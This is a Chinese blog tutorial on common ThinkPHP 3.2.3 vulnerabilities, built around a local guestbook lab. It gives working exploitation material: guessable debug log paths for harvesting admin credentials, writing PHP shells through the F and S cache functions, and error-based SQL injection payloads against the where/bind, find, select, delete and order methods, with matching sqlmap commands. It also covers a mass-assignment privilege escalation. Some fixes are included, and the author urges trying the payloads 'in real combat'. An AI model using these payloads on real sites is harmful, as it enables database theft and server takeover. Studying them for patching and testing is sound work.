10.tp3常见漏洞

通过一个留言板(一个表的增删改查)案例来了解tp3的基本开发结构

1.下载安装tp3.2.3

地址 : (由于官方的源码已经更新了, 这里使用以前保存的源码)

链接: https://caiyun.139.com/m/i?145CGKyNtas38 提取码:vX27 复制内容打开和彩云手机APP,操作更方便哦 (tp3留言板 , 更改conf下 的config.php文件的配置 hosts绑定www.tp3.com 到 127.0.0.1 , 打开debug 和配置 'SHOW_PAGE_TRACE' => true,)

核心版 : 是没有任何插件的
完整版 : 带一些常见插件 , 什么文件上传 , 验证码等

这里以完整版本为例

搭建环境 : phpstudy , php5.6(切换成php7也可以)

2.简单介绍

tp3是基于MVC设计思想开发的框架

M  -- Model --> 模型 (和数据库打交道)
V   -- View   -->  显示界面
C   -- Control --> 逻辑控制 (控制器 , 接收用户请求处理的)

2.2目录结构

├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录 ( 主要开发目录 , 主要开发的代码放在这里面 )
├─Public          资源文件目录 (前台文件,image,js,css等 , 模板文件中的__PUBLIC__ 指的及时该目录)
└─ThinkPHP        框架目录    ( 一般不会动里面的文件 )

入口文件

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2014 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// 应用入口文件

// 检测PHP环境
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
    die('require PHP > 5.3.0 !');
}

// 开启调试模式 建议开发阶段开启 部署阶段注释或者设为false
define('APP_DEBUG', true);  # 部署时候是false
// true , 程序出错 , 会有详细的错误信息 , 那个文件 ,多少行
// false , 程序出错 , 只有页面错误! 请稍后再试 , 当然这都是默认的 , 也可以修改具体内容

// 定义应用目录
define('APP_PATH', './Application/');   # 也有的会自定义目录名叫App

// 引入ThinkPHP入口文件
require './ThinkPHP/ThinkPHP.php';

// 亲^_^ 后面不需要任何代码了 就是如此简单

2.1路由访问

一共常见的有三种

path_info
http://www.tp3.com/index.php/Home/Index/index/id/1   (顺序必须是这样)
                                 入口文件     模块/控制器/方法/参数 (参数也可以写成index?id=1&name=tom)
兼容模式
http://www.tp3.com/index.php?s=Home/Index/index/id/1
                                入口文件			模块/控制器/方法/	参数
mca方式
http://www.tp3.com/index.php?m=home&c=Index&a=index  (使用参数了,顺序无所谓)
                                                     模块          控制器       方法

2.2控制器

控制器位于模块文件夹下的controller文件夹中 , 是一个php文件

文件名是控制器名称

IndexController.class.php  ( 控制器名.class.php )
php文件中必须有一个IndexController类与之对应

显示页面

# 在控制器类中的index方法
return this->display();
# 默认就会将View文件夹下的index.html,显示在页面上 , 默认display没有参数的话, 会以方法名作为参数 , 当然也可以指定返回的html页面
return this->display("test.html");

了解display方法是如何和视图联系在一起的 , 默认是当前方法名.html

2.3模板文件

一般模板文件 , __PUBLIC__ 指的是public目录 , 模板文件一般共同的部分都会采用分离 , 如共同的头部 , 单独分离出来写 , 然后再用到的地方包含这个文件 , 这叫模板分离

<include file="Public/header" />

模板中U函数的使用 , 用来跳转地址

image-20211122203716810

3.tp3常见漏洞分析

3.1日志信息泄露

ThinkPHP3.2.3在开启 DEBUG 的情况下会在 Runtime目录下生成日志, 如果ebug模式不关,可直接输入路径造成目录遍历。日志路径是有一定格式的

/application/runtime/Logs/home/19_05_24.log                                             模块    年_月_日.log可以看到是:项目名\Runtime\Logs\Home\年份_月份_日期.log , 这样的话日志很容易被猜解到, 而且日志里面有执行SQL语句的记录 , 管理员登录后台的sql语句也会有

补充 : thinkphp3.1 Runtime\Logs\Home\17_07_22.log

image-20211122213110090

渗透测试中一般从日志里面获取admin账号登录后台的密码

3.2缓存信息泄露

F方法 快速缓存

如果F函数可控的话 , 是十分危险的 , 看下面一段代码

class IndexController extends Controller {    //主界面    public function index(){        F("data1","<?php phpinfo();?>");    }

访问这个方法 , 代码运行 , 会在Runtime\data\ 生成一个data1.php文件 , 内容就有 <?php phpinfo();?>

然后该文件可以直接在地址栏访问到

http://www.tp3.com/app/runtime/data/data1.php

image-20211122213937236

这就是缓存拿shell

提一嘴 , tp3中除了F方法会产生缓存, 是不是还有其他的呢?

S方法 数据缓存

一般数据缓存用到的就是S方法 , 依然是一段危险代码举例

class IndexController extends Controller {    //主界面    public function index(){         S("123456","?>\n<?php phpinfo();?>");  // 注意闭合    }

访问这个方法 , 代码运行 , 会在Runtime\Temp\ 生成一个123456 md5后的一个文件 e10adc3949ba59abbe56e057f20f883e.php , 内容就有 <?php phpinfo();?>

然后该文件可以直接在地址栏访问到

http://www.tp3.com/app/runtime/temp/e10adc3949ba59abbe56e057f20f883e.php

image-20211122214940801

这个数据缓存拿shell在实战中遇到的比前者遇见的多一点

提一嘴 , 如果在配置文件中配置了数据缓存的key

'DATA_CACHE_KEY'=>'think'        class IndexController extends Controller {    //主界面    public function index(){         S("data","?>\n<?php phpinfo();?>");  // 注意闭合    }

那么数据缓存生成的文件名就是thinkdata这个值的md5了 , 相当于md5加盐操作

image-20211122215311005

关于缓存文件拿shell , 两个操作点 , 一是什么时候会触发缓存文件的产生 , 二是生成的缓存文件的文件名是啥

3.3update注入

也叫bind注入 , 因为和bind (进行pdo处理的) 这个关键字有关 , 示例代码

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){	// 接收username参数和password参数                $condition["username"]= I("username");		$data["password"]= I("password");        // where方法产生的漏洞,所以username参数构造恶意就可以触发sql注入		$res =M("users")->where($condition)->save($data);		dump($res);	    }}

payload

http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x5e,(select%20user()),0x5e),1))%23&password=123456username[1]=0必须是0开头

image-20211122230851708

关闭debug模式

image-20211122231102502

漏洞分析

( 前提是dedug模式开启 , 因为如果关闭错误输出的话 , 就无法看到报错信息中的数据库敏感信息了 )

核心就是where方法接收的参数可控 , 而且接收的参数必须是数组 ,save的参数也必须是数组

$condition= I("username"); // I方法就是处理请求的$data= I("password");# 这种是不行的 , 无法触发漏洞 , 一般使用where方法他必然接收的参数是数组 , 要不然他无法执行sql语句

同时没有进行漏洞的修复 , 最新的thinkphp3.2.3依然有这个漏洞

那么那些可控的参数会直接传进where方法里面呢? where是限制 , 所以说之前是限制查询基本上都会用到where 那么实战中你就可以使用这个payload打一下试试 , payload只需要改一下username为你当前参数即可

漏洞利用

如果实战中你没有分析过漏洞不知道漏洞原理 , 你可能直接抓包就丢给sqlmap跑了 , 但是直接跑是跑不出来的

image-20211122234923377

构造好注入语句再跑 , 是完全可以跑出来的 , 当然还有一个前提依旧是debug要开启 , 是我sb了 , 还有延时注入啊

所以不需要开启debug也可以注入的

python3 -sqlmap.py -u "http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0&password=123456" -p "username[1]"

image-20211122235346945

漏洞修复

在\ThinkPHP\Common\functions.php文件的think_filter方法中追加一个bindfunction think_filter(&$value){	// TODO 其他安全过滤	// 过滤查询特殊字符 , 修复只需要追加一个BIND    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|BIND|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}

访问

http://www.tp3.com/index.php/admin/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x5e,(select%20user()),0x5e),1))%23&password=123456

image-20211122232219061

3.4find注入

示例漏洞代码 , 同样也是一个框架级别的漏洞

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){		$id = I("id");		$data = M("users")->find($id);   // 主要用于查询		dump($data);    }}

payload

http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#                 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#

image-20211123200431953

漏洞分析

利用条件 : users表只有一个主键id , 然后就是find方法参数可控 , 参数是数组

image-20211123201141588

而且没有任何的过滤

漏洞修复

//处理漏洞修复的话 , 这个加过滤,具体怎么过滤的话 , 自己百度$options  = $this->_parseOptions( $options);

漏洞利用

python3 sqlmap.py -u "http://www.tp3.com/index.php/admin/index/index?id[where]=1" -p "id[where]"

image-20211123202312948

3.5select注入

漏洞示例代码

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){		$id = I("id");		$data =M('user')->select($id);   // 主要用于查询		dump($data);    }}

payload

http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#                 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#

漏洞分析

select参数可控 , 参数为数组

3.6delete注入

漏洞示例代码

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){		$id = I("id");		$data = M('user')->delete($id);  // 主要用于查询		dump($data);    }}

payload

http://www.tp3.com/index.php/admin/index/index?id[where]=1%20and%20updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#id[table]=users where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#                 数据库存在的一个表id[alias]=user where 1 and updatexml(1,concat(0x5e,(select%20user()),0x5e),1)#

漏洞分析

delete参数可控 , 参数为数组

3.7order by注入

漏洞代码示例

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){				$username = I("username");		$order = I("order");		$data = M("users")->where(array("username"=>$username))->order($order)->select();		dump($data);		    }}

payload

http://www.tp3.com/index.php/admin/index/index?username=aaa&order=updatexml(1,concat(0x5e,(select%20user()),0x5e),1)

image-20211123204656433

漏洞分析 (分析使用的tp3.2.3是官方最新版本)

order方法 , 参数可控 , 没有进行过滤和限制

漏洞利用

python3 sqlmap.py http://www.tp3.com/index.php/admin/index/index?username=aaa&order=1 -p order

image-20211123205021745

漏洞修复

对order方法传进来的参数进行过滤

4.8逻辑漏洞

主要是垂直越权和水平越权 , 前面讲注入的时候主要涉及的是控制器 , 实际开发也会经常写模型代码

首先上漏洞示例代码 , 模型

image-20211123210009778

<?phpnamespace Home\Model;use Think\Model;class UsersModel extends model{	protected $_auto = array(		array('password','md5',3,'functions'),	);}

控制器代码

<?phpnamespace Admin\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){		$User = D("Users"); // 实例化user对象		if (!$User->create()){			exit($User->getError());		}else{			$User->add();		}	    }}

payload (必须是post请求)

请求体username=aaa&password=123456&leve=1    # 追加了一个level字段, 默认是没有的

image-20211123210858016

数据库

image-20211123211228469

漏洞分析

这个漏洞想表达什么呢 , 就是当你使用了自动完成来新建一条记录到数据中 , 所有的字段都应该在模型中过滤限制就算前台只能输入一个字段 , 用户也可以抓包修改 , 这个可能会在注册页面 , 如果不做限制 , 那么leve=1代表超级管理员的话 , 就出现了垂直越权了

漏洞修复

<?phpnamespace Home\Model;use Think\Model;class UsersModel extends model{	protected $_auto = array(		array('password','md5',3,'function'),                array('leve','2'),	);}

4.tp3.2指纹识别

4.1log识别

默认的log文件

image-20211122215833596

2.cms在线识别

3.路由识别

因为tp5的路由已经不支持mac写法了 , m模块 , c控制器 , a方法

4.入口文件

在tp3中入口文件是在网站根目录下 , 但是tp是在public目录下

5.总结

tp3中存在多处sql注入和缓存漏洞sql注入:     update注入(报错)     order by 注入(报错)     find , select delete注入 (报错)缓存写shell     注意路径和名称以及闭合 , 没有直接执行命令的
posted @ 2021-12-20 18:42  Mn猿  阅读(293)  评论(0编辑  收藏  举报